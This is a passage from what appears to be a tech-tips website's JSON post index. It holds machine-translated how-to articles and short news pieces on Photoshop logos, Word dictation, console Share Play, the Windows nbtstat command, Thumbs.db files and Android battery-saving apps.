ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYytn55lmaW1sLrEZqqtmaSqwG6uwKtksKGknby2wIyjmKKkkqeyorc%3D\n","link":"/post/how-to-change-the-iphone-status-bar-without-jailbreak/","section":"post","tags":null,"title":"How to change the iPhone status bar without jailbreak"},{"body":"Although not appreciated by Illustrator in the ability to create logos, but Photoshop is also a very suitable choice. Colors as well as special effects of Photoshop will be a great advantage.\nToday TipsMake.com will show you how to draw a beautiful logo in Photoshop. Please refer!\n  Standard logo drawing rules 1. Consistency Make sure customers feel that your logo and brand fit together. Brand is very important in business. If you build a good brand, when customers think of you, you will immediately remember the service you do, the quality of it, . Let the logo also play the role of the brand.\u0026nbsp;\n2. Easy to remember Making a logo is eye-catching. Logo should be simple and attractive, giving too much information on the logo is not a wise choice.\n3. Easy to identify Unique logo. Customers just need to look to know it's you instead of thinking 'whose is this that someone's used to?' 'Do you or a business have a design similar to yours?', Nobody has time to find out…\n4. Actual Logo must be closely related to your business service. Use specific illustrations, the right objects and avoid abstractions.\n5. Brings interesting experience   Author: http://www.roysmithdesign.com/ \nThis is the logo design of a Yoga club in Australia. If you pay close attention, you will see that the back arm combined with a raised leg of the character will form the territory of Australia. It is interesting to discover this, right?\nEven if you do not have such an innovation, at least bring something exciting to your customers, make them impressed with your brand.\n6. Sense of experience Create special things behind the logo. This can be a story about a brand, a guide for customers, . Make guests feel new and satisfied with it. The impact instills them in your values ​​and vision.\nAbove are 6 important criteria to design a logo to achieve the highest efficiency. Maybe you are just a newbie, do not have many professional techniques, so it is impossible to do as an expert with all criteria.\nThis article I will guide you to create a simple logo, enough with beautiful and professional criteria without too much skill.\nCreate logo with photoshop 1 - Text design Text elements are rarely omitted when designing logos. Slogan will be the fastest way to reach customer awareness. When your level of drawing design is not standard, forget the abstract ideas, let's simply use the text!\nIn my mind, I had an idea of ​​a transportation company, I temporarily named ' Truck Drivers ' as the focus of the logo.\nCreate a nice typeface as follows:\nDownload the font Step 1 : Visit https://www.1001fonts.com/.\nThis is a website that provides beautiful fonts, can take advantage of it effectively in the design.\nStep 2 : Enter the text you want to design into the search bar\n  Step 3 : Continue scrolling down to find matching results, choose one of the filters to get better results.\n  When you see the font like that, click Download .\n  Step 4 : In the downloaded directory, open the file ending in .tff .\n  Step 5 : Click Install to install the font.\n  Write text in Photoshop Step 1: In the main interface of Photoshop, press Ctrl + N to create a new artboard, set the background to your desired color.\n  Step 2: Select the Type Tool, select the font that you just installed, the font size and font color.\n  Step 3: Click on any point on paper, enter the text you want.\n  Step 4: Change the position of the object, select the Move Tool, hold on the object and drag to the position you want.\n  Resize, tilt, rotate or flip objects: Select Edit \u0026gt;\u0026gt; Transform .\n  Scale: Fix the size Rotate: Rotate the picture Skew: Fix the tilt Flip: Flip the picture 2 - Effect design Change background color Step 1: If you now want to change the background color, just create a new layer, drag it below the Text layer.\n  Step 2: Choose a new color.\n  Step 3: Press the combination of Alt + Backspace and your new background color is applied.\n  Change the font color Step 1: Select the Type Tool, highlight the text and click on the color palette in the upper corner of the screen.\n  Step 2: Select the color you want and click OK.\n  After the two color changes above, I decided to choose the background and text color as follows:\n  Create shadow effect of object Step 1: Select the Text Layer, press Ctrl + J to create Layer Copy.\n  Step 2: Open the Character window: Select Windows \u0026gt;\u0026gt; Character.\n  Step 3: Select the Text Layer, in the Character window, open the palette, choose black.\n  Step 4: Press Ctrl + T, adjust the tilt to 45 degrees.\n  Step 5: Create a shadow effect by repeatedly pressing ' ALT + ← '\n  Step 6: Select all the new copy layers (from number 2 onwards) and press Ctrl + E to combine them into 1.\n  Step 7: Use the Move Tool and rotate the shape as guided above to put the ball in position.\n  Step 8: Adjust the opacity with Opacity.\n  Other effects Double-clicking on the Text Layer gives you a selection of different text effects. Discover this amazing function by checking the different types of effects.\n  3 - Export the file After creating the desired logo, you begin to export the file so you can use it, following these steps.\nStep 1: Select file \u0026gt;\u0026gt; Export \u0026gt;\u0026gt; Export As .\n  Step 2: Select the PNG file format, enter the size according to your needs \u0026gt;\u0026gt; Export All .\n  Verify your results:\n  Conclusion So above TipsMake.com has shown you how to create a simple but professional logo with Photoshop. This way you don't need to be very familiar with Photoshop and still be able to do it.\nWishing you a successful practice!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKWnl6R6qrqMqZ%2BorJ%2BotbC8\n","link":"/post/how-to-create-a-logo-in-photoshop/","section":"post","tags":null,"title":"How to create a Logo in Photoshop"},{"body":"This wikiHow teaches you how to use speech recognition on your computer to write a Microsoft Word document. Press to open the Search box.\nMethod 2of 2:\nmacOS  Click the Apple menu. It's at the top-left corner of the screen.\n  Click System Preferences.\n  Click Keyboard.\n  Click Dictation. It's one of the tabs at the top of the window.\n  Select 'On' next to 'Dictation.' Clicking the circle will turn it blue and add a white dot at its center.\n  Check the box next to 'Use Enhanced Dictation.' This allows you to use dictation offline, as well as continuous dictation with live feedback.[1]\n  Click the red circle to close the Keyboard window.\n  Press Fn twice. Now you'll see a window with a microphone icon. Dictation is now active and ready to use. This is the dictation window.\n  Open Word. You'll usually find in the Applications folder or on the Launchpad.\n  Click the document where you want the text to appear.\n  Start talking. As you speak, your words will appear in the Word document.\n  Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZmMGiwMRmpqdlp6S%2FpQ%3D%3D\n","link":"/post/how-to-dictate-on-word/","section":"post","tags":null,"title":"How to Dictate on Word"},{"body":"This is thanks to a feature called Share Play. So how to use this feature?\nWhat is Share Play? How does it work? Share Play is essentially an optional feature that allows you to experience shared gaming with someone remotely over the internet. In particular, this feature also allows you to share your game with friends so they can try it out before deciding whether to buy it or not.\n  To use Share Play, you need a PlayStation Plus subscription for $9.99 a month (or $59.99 for the whole year). Note that if you and another person want to play games together like through Share Play, you both need a PlayStation Plus subscription.\nAlso, Share Play will only give you 60 minutes to share the game with your friends. However, you can repeat the process as many times as you like.\nHow to use Share Play on PS4 On the PlayStation 4 home screen, press the navigation key to bring up the multimedia toolbar. Find and tap the Friends button (with the square smiley face). You will see a list of your friends appear. Select the friend you want to play with and press the ' X ' button on the controller.\n  You are now on that friend's profile page. Hover over the Party icon (like a person wearing headphones) and press ' X ' on the handle. A connection between the two will be established.\n  Once you are in the ' Party ' menu , move the cursor to the right and select ' Share Play '.\nFrom here, you can start playing with your friend by clicking ' Start Share Play '.\n  Next, you'll see information about privacy, internet connection quality, and how the HDR mode can look different when using Share Play. Press ' OK ' when you are ready and select the person in the group to act as the Share Play visitor. You have three options: ' Share Screen ', ' Visitor Plays as You ' and ' Play with the Visitor '. Choose an option you want and the invitation will be sent to your friends.\nHow to use Share Play on PS5 After starting the PlayStation 5, press the home button on the DualSense controller. At the bottom of the screen, click on the ' Game Base ' tab as shown below.\n  Select a person you want to play with and press ' X ' on the controller. Now let's start ' Voice Chat '. Once the chat room is set up, select ' View Voice Chat '.\nBelow the chat room name, there will be 5 symbols. Click on the first symbol that says ' Start Share Screen '. Setup will take a few seconds.\n  Now you will see ' Share Screen | Share Play ' appears below the icons. Click on it and then select ' Start Share Play '. Select the friend you want to share the game with and press ' X '.\nYou will now be presented with three options, similar to those on PS4. Select an option you want. Note that if an option is grayed out, it is currently unavailable.\n  After you have selected an option, a notification will be sent to the invitees.\nPlease note that PS4 users cannot play PS5 games like Ratchet \u0026amp; Clank: Rift Apart or upgraded PS5 versions like FIFA 21. They can only view footage PS5 players are sharing under these circumstances. . However, PS4 games on PS5 work fine.\nWish you have moments of fun entertainment!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmqqGZopp6sbjAsmSfnZGpwrOxjKilZqufo8ZuvNJtZJqmlGK9tIE%3D\n","link":"/post/how-to-use-the-share-play-feature-on-sony-ps4-and-ps5/","section":"post","tags":null,"title":"How to use the Share Play feature on Sony PS4 and PS5"},{"body":"This starting price is for the 2.3GHz Intel Core i7 chip, GeForce GTX 600M graphics and 8GB RAM.\n\u0026gt;\u0026gt;\u0026gt;Series of laptops for 2012 from Lenovo\n  IdeaPads Y580 uses Intel's latest Ivy Bridge processor. (Photo: Engadget).\nLenovo has announced the official price for the IdeaPads Y580 introduced at CES 2012 earlier this year. This product has a 15.6-inch screen and the price ranges from USD 1,299 to 1,549 USD.\nIdeaPads Y580 uses Intel Ivy Bridge platform processor and Nvidia graphics card based on the latest Kepler platform. Lenovo IdeaPads Y580's initial configuration is 2.3GHz Core i7 chip, GeForce GTX 600M graphics and 8GB RAM. It is equipped with optical drive, 1080p screen, Blu-ray drive, 2TB hard drive with 32GB SSD.\nncG1vNJzZmismaXArq3KnmWcp51kuaa6zq%2BmrGWZmbKivMCdqmaxZW19bq%2FOrKusZZanvK55kGtwcg%3D%3D\n","link":"/post/lenovo-s-ideapads-y580-costs-from-1-299/","section":"post","tags":null,"title":"Lenovo's IdeaPads Y580 costs from $ 1,299"},{"body":"Paid software Version: 2019 Platforms: Windows, Android, iPhone Download Microsoft PowerPoint 2019 here.\nFeatures of Microsoft PowerPoint Outstanding design Microsoft PowerPoint is one of the most powerful software in the Office Suites line. The software contains all types of presentations. It can help students, employees, planners, designers, or hobbyists showcase their ideas to an audience. This tool is ideal for promoting a new plan, delivering lectures, organizing a seminar, presenting a graphic report, or simply entertaining the viewer.\nAnyone can easily grasp what a user wants to convey through the intuitive tutorials. Some software features like Designer and Presenter Coach are built using Microsoft's very own smart technology.\nPowerPoint provides quick and easy presentation creation through smart suggestions. The smart tech comes with an easy-to-use interface and several features to get the job done.\nMicrosoft PowerPoint has been widely recognized by users for its accessibility for both beginners and experts alike. Anyone can enter text and decorate slides in presentations, create streamlined slideshows, insert media content, and animate them with cool transitions and animations. Users are provided with the best optimized themes and templates to suit any occasion.\nThere are over 40 PowerPoint templates to choose from in addition to blank templates for extensive customization options. It can create beautifully designed slideshows, richly animated content, cinematic motion, icons and 3D rendering models with embedded animations.\nConventional presentations look more impressive than ever when designed in this presentation software. Users can confidently read the content of their presentations through each slide, personal notes. They can read notes while they remain invisible to an audience. There is an option to translate pages in a presentation into your preferred language or translate spoken language into on-screen subtitles and convert subtitles into one of 60 languages. Built-in accessibility testing tools let all viewers catch up to the presentation. Users have the option to purchase the entire Microsoft Office 365. It is updated regularly to increase productivity and can also be installed on a Windows PC or Mac computer.\nOffice Suite allows creating and collaborating directly to share ideas effectively. Tool that allows direct collaboration with others. Every participant can co-author a presentation while leaving constructive comments. All presentations can be saved through the Office 365 cloud storage service OneDrive.\nThere's a 1TB of storage space available to all users, and they can access it on any device platform. Everything is guaranteed to run flawlessly on Windows and macOS platforms, as it implements advanced security features. Users can check out Office Online apps and the Microsoft 365 blog for even more productivity.\nReliable presentation software Microsoft PowerPoint has set the standard for presentation software since it was first released. Anyone can turn intangible ideas into concrete presentations thanks to built-in tools. It features live collaboration and co-authoring, as well as accessible templates and options. Users will be more productive when expressing their thoughts in the form of presentations. Any project member can add or edit content through their device at home or anywhere. Whether its purpose is educational, informational, professional, or entertaining, Microsoft PowerPoint is a reliable tool for every occasion.\nAdvantages\nMicrosoft's smart technologies include Designer, Live Captions \u0026amp; Subtitles, Presenter Coach, Theme Ideas Accessibility checker and translation 40+ PowerPoint templates Compatible with all platforms including Mac, Windows, iOS, Android Defect\nRequires large memory space May have difficulty using video clips More features are available with purchase of Microsoft Office 365 Microsoft PowerPoint ncG1vNJzZmismaXArq3KnmWcp51kuaq6ymarqGWUpMSvuM6am2almZi%2FsL%2FOn6tmqJ%2BssrO8zqKlrWViZX56\n","link":"/post/link-to-download-microsoft-powerpoint-2019/","section":"post","tags":null,"title":"Link to download Microsoft PowerPoint 2019"},{"body":"\"Robinson on the deserted island\"\nFor over 30 years, Mauro Morandi has been the only resident of a beautiful island on the Mediterranean coast. For the past few weeks, his \"hermit hut\" has been an appropriate isolation site to monitor the global Covid-19 crisis.\nMorandi, a retired teacher, came to Budelli Island, off Sardinia, by accident when trying to sail from Italy to Polynesia 31 years ago. He loved the clear waters, coral reefs and beautiful sunsets so he decided to stay.\nHe took over the island from the previous sitter and now at the age of 81, he is still there, also known as Robinson Crusoe of Italy.\n The stone house of Mauro Morandi. Photo: Slate Magazine\nEvery night, he slept in an old stone house and woke up in the morning surrounded by Mother Nature. He enjoyed exploring bushes, cliffs and talking to birds at breakfast as they flew in and out from the window of the small kitchen.\nDespite this, he was still following the news, knowing that Italy had cordoned off to stop the spread of the Covid-19 epidemic, then to the rest of the world.\nIn his solitary world, he said that he now feels he is \"the safest place on earth\".\n\" I'm fine, I'm not afraid ,\" he told CNN via his cell phone - his connection to the outside world. \" I feel safe here. The island offers comprehensive protection. There is no risk. No one comes here, not even a boat passes .\"\nThe opportunity to discover yourself\nLike many of us, Morandi's main concern is the situation of family and friends - people living in northern Italy, Modena, one of the areas where Italy's most recorded Covid-19 cases.\n\" They are facing hard times ,\" he said.\nMr. Morandi's life has not changed much since the outbreak of the disease in Italy, except that he had to wait longer for food from the land due to strong government restrictions.\nThis means, the island visitors during the winter have come to an end. Over the years, he has grown accustomed to welcoming, making friends with them and sometimes sharing his meals with them.\n    The island's habitat is still quite unspoiled. Clear turquoise sea, lush wild vegetation, purple rocks like natural sculptures and fresh air.\nLeft alone, he spends the day admiring the sea, breathing fresh air, collecting firewood, preparing meals and - of course - posting on Instagram.\n\" I get bored, so I kill time by taking photos of beaches, wildlife and landscapes, editing photos and then sharing these on social networks and Instagram ,\" he said. . \" I have a lot of followers .\"\nHe said that if the blockade is still long, tourists will not come to the island until July but the prospect of a quieter summer does not worry him.\nMorandi also advises people in isolation in Italy and elsewhere that there is no need to be upset at home for a few weeks but instead, this is an opportunity to discover more about yourself.\nHe said, \"despite having its own island\" but with the harsh Mediterranean winters, he still spends months indoors.\n\" Every winter, I close the door indoors, don't wander the island for months, but instead kill time by standing on the porch under the canopy. So why can't people stay here?\" home for two weeks? That's ridiculous . \"\nMany people cannot stand being alone\nMorandi said he used to be a champion wandering around Europe every year and then became the only resident on the island.\n\" I just don't feel like traveling anymore - no interest ,\" he said. \" I understand that the most wonderful, adventurous, adventurous and satisfying journeys are the journeys within the soul, whether you are sitting in the living room or under a tree in Budelli. That's why. Having to stay home and not doing anything can really make many people feel difficult . \"\nBut he added: \" I never felt lonely .\"\nIn Morandi's view, most people do not want to be alone because they cannot stand the feeling of loneliness and the blockade forces many to face this.\nAccording to him, the current crisis is an opportunity to re-evaluate their own lives but he thinks many people will not make the most of this opportunity.\n\" Perhaps some individuals will recognize it but most are already familiar with the whirling amenities and lifestyle .\"\nMeanwhile, time passed in Budelli as usual.\nThis winter is softer, with temperatures like spring and the sun warm. The island's habitat is still quite unspoiled. Unpolluted. Clear turquoise sea, lush wild vegetation, purple rocks like natural sculptures and fresh air.\nncG1vNJzZmismaXArq3KnmWcp51kv7CuyKeqqKZdpLturYydnKydoqmypXnIrKOappRiuarCyKeeZqGeYsGpsYysmJ%2Bdo6l6sbjAnJxmp55isqK%2B06Fkp6ddmLy3tcNqcGavkah6pLvMn6arrJWZeqPFjKamraCVp3qvrdOuqZ4%3D\n","link":"/post/living-in-the-safest-place-on-earth-no-covid-19-was-comforted-by-mother-nature/","section":"post","tags":null,"title":"Living in the safest place on earth, no Covid-19, was comforted by Mother Nature"},{"body":"(Applies To: Windows Server (Semi-Annual Channel), Windows Server 2016, Windows Server 2012 R2, Windows Server 2012)\nDisplay NetBIOS via TCP / IP protocol statistics or through NetBIOS naming table for both local and remote machines, and for NetBIOS naming buffers.The nbstat command allows you to refresh the NetBIOS name buffer and the names registered with the Internet Calling Service on Windows.When used without parameters, the nbstat command will display help information.\nSyntax  nbtstat [/ a] [/ A] [/ c] [/ n] [/ r] [/ R] [/ RR] [/ s] [/ S] []  Parameters\nDescribe\n/ a\nRepresents the NetBIOS table name of a remote computer, where remoteName is the NetBIOS name of the remote computer.NetBIOS table name is a list of NetBIOS names corresponding to NetBIOS applications running on that computer.\n/ A\nIndicates the NetBIOS table name of a remote computer, determined by the IP address of the remote computer.\n/ c\nDisplay the content of NetBIOS cache, NetBIOS table name and their resolved IP address .\n/ n\nDisplays the NetBIOS table name of the local computer.The registration status will indicate whether the name is registered by broadcast or with the WINS server.\n/ r\nDisplay NetBIOS name resolution statistics.On computers running Windows XP or Windows Server 2003 configured to use WINS, this parameter returns the number of confirmed names and broadcast subscriptions and WINS\n/ R\nRemove the contents of the NetBIOS name cache and then update the items tagged with PRE from Lmhosts file.\n/ RR\nGive the NetBIOS name and then update them to the local computers registered with the WINS server.\n/S\nRepresents the client NetBIOS sessions, converting the destination IP address to a specific name.\n/S\nRepresents the client session NetBIOS, listing the remote computers according to the destination IP address.\nRevisit the selected statistics, temporarily pause the time specified between each impression\n/?\nShow help at the command prompt.\nNote Notice the uppercase and lowercase letters of the parameter in the nbtstat command\nThe following table describes the meaning of the column headers created by nbtstat:\nColumn header\nDescribe\nInput\nNumber of bytes received.\noutput\nNumber of bytes sent.\nIn / Out\nconnection comes from computer (outbound) or from another computer to local computer (inbound).\nLife\nThe rest of the name table cache entry is retained before being deleted.\nLocal Name\nLocal NetBIOS name is associated with the connection.\nMáy xa\nThe name or IP address associated with the remote computer.\nThe last byte of the NetBIOS name is converted to hexadecimal.Each NetBIOS name is 16 characters long.This last byte usually has special meaning because a name can appear multiple times on a computer, they are only different in the last byte.For example, is a space in ASCII text.\nType\nType of name.The name may be the most personal name or the group name.\nStatus\nDetermine whether the NetBIOS service on the remote (registered) remote computer or the duplicate computer name has registered the same service (Conflict).\nState\nStatus of NetBIOS connections.\nThe following table describes the possible NetBIOS connection states:\nStatus\nDescribe\nConnected\nA connection session has been established.\nassociated\nAn end connection point has been set up and linked to an IP address.\nlistening\nThis endpoint is available for an inbound connection.\nIdle\nThis last connection point has been opened but cannot receive the connection.\nConnecting\nA session is in the connected phase and the name-to-IP addressing scheme of the destination is being resolved.\nAccepting\nAn inbound connection session is being accepted and will soon be connected.\nReconnecting\nA session is trying to reconnect (failed to connect at the first attempt).\nOutbound\nA session is in the connection phase and at the same time the TCP connection is currently being created.\nInbound\nAn inbound connection session is in the established phase.\nDisconnecting\nA session is in the process of disconnecting.\nDisconnected\nThe local computer has issued a disconnect command and is waiting for confirmation from the remote system.\n* Note : This command is only available if Internet Protocol (TCP / IP) is installed as a component in the properties of the network adapter (Network Connections).\nFor example To display the remote computer's NetBIOS table name with the name of a NetBIOS computer named CORP07, enter:\n btstat / a CORP07  To display the NetBIOS table name of the remote computer assigned IP address of 10.0.0.99, type:\n nbtstat / A 10.0.0.99  To display the NetBIOS table name of the local computer, type:\n nbtstat / n  To display the contents of the NetBIOS local computer cache, type:\n nbtstat / c  To clear the NetBIOS name cache and reload the # PRE-tagged # items available in the local Lmhosts file, enter:\n nbtstat / R  To retrieve NetBIOS names registered with the WINS server and re-register them, type:\n nbtstat / RR  To display NetBIOS session statistics by IP address every five seconds, type:\nnbtstat / S 5\nSee more:\nBitsadmin create command in Windows Bcdboot command in Windows The bcdedit command in Windows The autoconv command in Windows ncG1vNJzZmismaXArq3KnmWcp51ku6PA0q2YrWWTpLqurc2dZKKmXay2r7DOsKo%3D\n","link":"/post/nbtstat-command-in-windows/","section":"post","tags":null,"title":"Nbtstat command in Windows"},{"body":"If you are bored with the interface that Windows 10 is using, you can choose to download the latest 4 themes for Windows 10 released by Microsoft itself below to change. Currently, these 4 latest themes are available on the Microsoft Store and are completely free.\n1. Ski Paradise - Capacity of 12 MB\nIn this interface package, users will be able to visit beautiful skiing locations around the world.\n  2. Springtime Art - Capacity of 12 MB\nIf you are a nature lover, surely you will not be unable to love the package of interfaces with 18 photos that illustrate the vitality of this spring. With the simple but artistic graphic images, Springtime Art will help users admire the majestic natural scenery, the endless green forests, watching the birds and the animals lovely.\n  3. Umbrellas - Capacity of 15 MB\nThis interface package will give you 18 photos of colorful umbrellas, familiar items used to cover the sun, cover rain, snow cover and even decoration.\n  4. The Grand Canyon National Park - Capacity of 13 MB\n16 impressive photos in interface package The Grand Canyon National Park will take you on a small screen tour to Grand Canyon National Park, Arizona, USA to see the grandeur that nature has favored this country.\n  ncG1vNJzZmismaXArq3KnmWcp51kva2xwKycZpyfrLutu8CdZG1lnJbBpr%2FTZquhnZ2awG6yzqtksKGemby4v4xqZ2aeoqS6brnInKmoq5%2BbwW671qecq2WTpLqxuMStnKWxXZu%2FprE%3D\n","link":"/post/please-download-4-latest-themes-for-windows-10-from-microsoft-owner-completely-free/","section":"post","tags":null,"title":"Please download 4 latest themes for Windows 10 from Microsoft owner, completely free"},{"body":"In the field of design and advertising, poster design has a huge market demand because posters are a tool to promote the company's products to customers. If you are a designer, especially poster design and you are looking for a poster design software that is suitable for you, then please follow the following article!\n  1. RonyaSoft Poster Designer   With RonyaSoft Poster Designer software , we can easily design advertising posters professionally and quickly with existing design templates (Template). We can customize the poster templates available on the software and edit with the smallest details such as text, logo, vector.\n2. PosterGenius   With PosterGenius , we can design banners and posters professionally and quickly with just a few editing steps. With a wide range of poster templates in different fields, it helps designers quickly find ideas and design posters faster.\n3. Adobe Photoshop   Referring to the beautiful and professional Poster design software, we cannot help but mention the \"divine\" Photoshop editing software. Adobe Photoshop integrates photo editing tools, collage layers and supports drawing line vectors to help Poster designers easily manipulate and create posters as they want.\n4. Adobe InDesign   Adobe InDesign is a specialized software created for people to design posters, advertising banners and business cards. Unlike Photoshop specializing in photo editing, InDesign integrates measurement and measurement tools that allow you to create a poster of the desired size. In addition, InDesign also supports you to choose suitable printing paper sizes such as A0, A1, A2 . To help you optimize the printing process.\n5. CorelDRAW   CorelDRAW is a graphic design software with an intuitive interface, easy to use integrated powerful tools that allow you to create advertising banners, posters professionally and beautifully. In addition, a huge stock of clip art and beautiful fonts for design is also a plus point when using this software to design posters.\nWith the Top 5 beautiful and professional poster design software listed in the article, hope readers find themselves a design software that suits your needs. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kpqejqXqjscCuq6KepaF6orrDZqerp5aawLS1zqeYpWWgpMC1sdFmm56rmZy7br%2FOn6uwmaKa\n","link":"/post/top-5-most-beautiful-and-professional-poster-design-software/","section":"post","tags":null,"title":"Top 5 most beautiful and professional Poster design software"},{"body":"If you are using a computer running any version of Windows operating system, you will see Thumbs.db files in the system. So what is it? How did they create them? And are they harmful or not . The following article will explore this issue together.\n  Thumbs.db files are only displayed when specially set up by activating Show Hidden Files And Folders properties in the Folder Options control panel. These files are completely harmless, and their function is to create a preview of the files in its corresponding folder.\nThumbs.db will quickly create a preview image based on the files inside the folder when using Icon mode or thumbnail mode in Windows. With the preview feature of a visual thumbnail before accessing the folder will save time. This may slow down your computer, but with folders with multiple files or folders stored on the repository with a slow connection, Thumbs.db can provide you with an image without waiting. until connecting to that folder.\nIf Thumbs.db looks messy, you can delete them very simply, but don't remove all .db files. To disable thumbs.db, go to Folder Options in Windows or via Control Panel (select the entire item display mode) or click Organize -\u0026gt; Folder and Search Options in Windows Explorer. Here forward to the View tab, select Do not cache thumbnails and then click Apply to All Folders .\n  With this option, Windows will no longer automatically create Thumbs.db files to quickly display a representative image of the files in the folder you are accessing.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02aYq51dqbWmedOhrKaalJd6p7XLnqo%3D\n","link":"/post/what-are-the-thumb-db-files/","section":"post","tags":null,"title":"What are the thumb.db files?"},{"body":"One of the drawbacks of today's smartphones is the relatively low battery life. There are many reasons for the fast battery out of smartphone status: substandard battery manufacturing technology, free software to support advertising installed in the machine, ambient temperature, running too many applications .\nTo fix this as well as this limitation, in the article below Network Administrator will introduce you the best battery saving applications for Android devices today.\nSee also: Instructions for setting up and using \"Battery Saver Mode\" on Android\n12 best battery saving apps today for Android 1. DU Battery Saver 2. Battery Doctor 3. Greenify 4. Avast Battery Saver 5. GSam Battery Monitor 6. AccuBattery 7. Battery Saver 2018 8. Juice Defender 9. Battery Defender 10. Easy Battery Saver 11. 3x Battery Saver 12. Battery Optimizer \u0026amp; Cleaner 1. DU Battery Saver DU Battery Saver for Android mobile phones is a free application that detects all applications that drain the battery automatically and fix problems. Its features include advanced mode, troubleshooting applications, phone cooling options to turn off CPU-intensive applications and a task kill to optimize battery usage.\n  Pro upgrade version has more advanced features such as scheduling battery saving settings, 'killing' the task automatically, adjusting CPU frequency.\nThe app's sleek and user-friendly interface displays the remaining time based on the current battery level, including the number of minutes using the Internet browser, and optimizing the time by closing applications. and turn off different phone features.\nAdvantages:\nThe free version increases life expectancy by up to 50% and the paid version is 70%. There is an optimal button to find and solve problems in one touch. Built-in mode or customized to save more battery. Defect:\nFree version does not have automatic features. Download : DU Battery Saver\n2. Battery Doctor This feature-rich Android battery saver app of Cheetah Mobile is free and has tools like battery usage monitoring, power saving and defined energy saving and programmed configuration automatically.\n  Battery Doctor allows users to check battery status quickly, monitor applications and processes that deplete the battery. You can also enable app settings such as brightness, Wi-Fi, Bluetooth, mobile data, GPS and battery status monitoring based on each specific application type. This application supports multiple languages ​​up to 28 languages.\nAdvantages:\nUser-friendly application interface. Optimize battery life based on application type. Defect:\nThe application is slightly heavier than other battery-saving apps. Download : Battery Doctor\n3. Greenify This free application establishes applications that consume battery power in hibernation mode so that they cannot access the source, bandwidth or run the background process. But this does not mean that you cannot use the application.\n  With Greenify, users can run normal applications when it starts up while preventing all applications from consuming lots of battery except important applications like alarm clock, email, messages or other applications. Send important notifications when you are not using them.\nAdvantages:\nAvailable on Android and iOS. Do not save personal information. Lightweight application, taking up less phone resources. Defect:\nThe free version does not support system applications. Download : Greenify\n4. Avast Battery Saver This battery-saving app owns task \"kill\" tasks, 5 power consumption configurations to be able to configure work, home, emergency, night and smart modes. In addition, it also has an application viewer and notifications in the configuration.\n  Other features include a smart converter to turn off or turn on a battery-saving app, smart technology that calculates and tells you the amount of print remaining.\nAdvantages:\nEasy to use and accurate. Environment friendly interface. Works with phone settings to optimize demand and battery backup. The configuration is optimized based on time, location and battery life. App Consumption tool detects applications that consume lots of batteries and turns them off permanently. Defect:\nFree version has ads. Download : Avast Battery Saver\n5. GSam Battery Monitor This free Android battery saver app provides lots of information about your battery usage along with the tools needed to determine which applications drain the battery.\n  Its App Sucker tool displays battery usage based on the application, while declaring CPU usage statistics and wakelock. The application also allows you to view battery usage during a specific time period, view usage parameters and search for estimated battery life based on the current or previous time.\nAdvantages:\nBattery saving based on apps so you can know which apps use multiple batteries in real time. Defect:\nThe free version has no optimal mode. The interface is a bit hard to use. Download : GSam Battery Monitor\n6. AccuBattery This application offers free and paid versions. The free version monitors battery status, extends life with notifications when charging and battery wear warning features. Accu's battery test tool measures battery capacity in real time, displays the charging time and remaining usage time.\n  On the other hand, the PRO version has no ads, provides detailed CPU usage and battery information in real time and more themes.\nIts smart tool lets you know when the optimum charging level is reached, the application recommends 80%, before unplugging it from a wall outlet or charging port.\nAdvantages:\nThis is a comprehensive tool. Provides battery status and battery saving information right in the app. Provide important battery usage data such as on-screen time, battery status, CPU. Defect:\nFree version has ads. Download : AccuBattery\n7. Battery Saver 2018 This Android battery-saving app combines different system features and settings, helping you save battery life, providing profiles to extend battery life. Its main screen displays battery status, switches to energy saving mode, battery parameters, runtime and some other settings.\n  In addition, it also has a sleep mode and customizable, off device radio and allows you to configure settings on profiles using your own power. You can also use battery-saving mode specifically scheduled for the day or night such as wake up, work, sleep and other important times in your schedule.\nAdvantages:\nFree. Easy to control energy consumption applications. Monitor and allow you to turn off energy consumption devices. There are many battery saving modes. Defect:\nThere are ads Download : Battery Saver 2018\n8. Juice Defender   Juice defende is also one of the best battery saver apps available for Android devices today. Juice defende is integrated with many smart features such as automatically managing most activities that use the device's battery power such as 3G / 4G, bluetooth, WiFi connection . Juice Defender also allows customization. Its operation configuration via simple and intuitive interface. Juice defende has both a free version and a paid version Plus (priced at $ 1.99) and Juice Defender Ultimate ($ 4.99).\nDownload : Juice Defender\n9. Battery Defender   Similar to Battery Doctor application. Battery Defender application disables all battery-powered apps like Data, GPS, and WiFi. Sync . within only 15-20 minutes. In addition, the application also activates the sleep feature of all applications running in the background to extend Android device battery life.\nDownload : Battery Defender\n10. Easy Battery Saver   Easy Battery Saver is also one of the applications listed in the list of best battery saving applications for Android devices. Similar to DU Battery saver and Juice Defender applications, the Easy Battery Saver application will display the status of your device battery correctly. Also the application is quite user friendly.\nDownload : Easy Battery Saver\n11. 3x Battery Saver 3x Battery Saver app is a popular battery saver application, especially in Japan. Even the Juice Defender application is behind the 3x Battery Saver app.\nUnlike the battery-saving apps listed above, the 3x Battery Saver application does not disconnect from the Internet, instead the app will close all applications that are connected to the Internet on your Android device.\nDownload : 3x Battery Saver\n12. Battery Optimizer \u0026amp; Cleaner   McAfee Battery Optimizer \u0026amp; Cleaner application is also one of the applications listed in the list of Top best battery saving apps for Android devices.\nAlthough the application size is quite small (only about 5.6 MB), however, the application has quite a lot of useful features such as battery saving, auto-renew, tracking battery usage applications .\nIn addition, the app adds features to optimize RAM, battery and CPU to improve performance and extend your device's battery life.\nDownload: Battery Optimizer \u0026amp; Cleaner\nRefer to some of the following articles:\nYour Android device is too hot, this is a fix Decode the errors encountered on Google Play and how to fix them Instructions for using USB Flash drive with Android device Trick to recover lost data on Android device Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kfnN5wZ6qrWWSlsG1sdGyZKyZpp67qHnAqaesZaSksaLFjJ%2Bmq2WRo7Gzu8id\n","link":"/post/12-best-battery-saving-apps-today-for-android/","section":"post","tags":null,"title":"12 best battery saving apps today for Android"},{"body":"Recently, your family appeared uninvited guests - \"Ants\" make you feel uncomfortable, and just want to \"kick\" them out of the house immediately. The obsession with this ant name also causes all members of your family to \"bear\" the smell of toxic chemicals caused by insecticides. However, instead of using ants to kill ants, you can refer to the following 12 simple chasing tips, both effective and safe for health.\n9 common mistakes when using washing machines and 